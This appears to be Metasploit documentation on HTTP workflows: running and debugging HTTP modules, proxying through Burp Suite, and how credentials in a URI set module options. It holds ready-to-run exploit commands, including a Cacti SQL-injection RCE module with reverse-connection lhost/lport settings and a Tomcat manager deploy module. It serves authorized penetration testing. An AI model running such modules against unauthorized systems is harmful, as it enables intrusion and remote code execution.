HTTP Workflows

HTTP (Hypertext Transfer Protocol), is an application-level protocol for distributed, collaborative, hypermedia information systems.

There are two main ports:

  • 80/TCP - HTTP
  • 443/TCP - HTTPS (Hypertext Transport Protocol Secure) - encrypted using Transport Layer Security or, formerly, Secure Sockets Layer

Note that any port can be used to run an application which communicates via HTTP/HTTPS.

This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance:

msf6 > search tomcat http

HTTP Examples

Auxiliary modules:

use auxiliary/scanner/http/title
run https://example.com

Specifying credentials and payload information:

use exploit/unix/http/cacti_filter_sqli_rce
run http://admin:[email protected]/cacti/ lhost=tun0 lport=4444
run 'http://admin:pass with [email protected]/cacti/' lhost=tun0 lport=4444

Specifying alternative ports:

run http://192.168.123.6:9001

HTTP Debugging

You can log all HTTP requests and responses to the Metasploit console with the HttpTrace option, as well as enable additional verbose logging:

use auxiliary/scanner/http/title
run http://example.com HttpTrace=true verbose=true

For instance:

msf6 > use scanner/http/title
msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/title) > set HttpTrace true
HttpTrace => true
msf6 auxiliary(scanner/http/title) > run

To send all HTTP requests through a proxy, i.e. through Burp Suite:

use auxiliary/scanner/http/title
run http://example.com HttpTrace=true verbose=true proxies=HTTP:127.0.0.1:8080

HTTP Credentials

If the module has no username/password options, for instance to log into an admin portal of a web application etc, then the credentials supplied via a HTTP URI will set the HttpUsername/HttpPassword options for HTTP Basic access Authentication purposes.

For instance, in the following module the username/password options will be set whilst the HttpUsername/HttpPassword options will not:

use exploit/unix/http/cacti_filter_sqli_rce

Module options (exploit/unix/http/cacti_filter_sqli_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ... Omitted ...
*  PASSWORD   admin            no        Password to login with
   TARGETURI  /cacti/          yes       The URI of Cacti
*  USERNAME   user             yes       User to login with
   ... Omitted ...

check http://admin:[email protected]/cacti/

USERNAME and PASSWORD will be set to 'admin' and 'user'

For the following module, as there are no USERNAME/PASSWORD options, the HttpUsername/HttpPassword options will be chosen instead for HTTP Basic access Authentication purposes

use exploit/multi/http/tomcat_mgr_deploy
run http://admin:[email protected]:8888 HttpTrace=true verbose=true lhost=192.168.123.1

Note that the HttpUsername/HttpPassword may not be present in the options output, but can be found in the advanced module options:

use auxiliary/scanner/http/title
advanced

Module advanced options (auxiliary/scanner/http/title):

   Name                  Current Setting                                    Required  Description
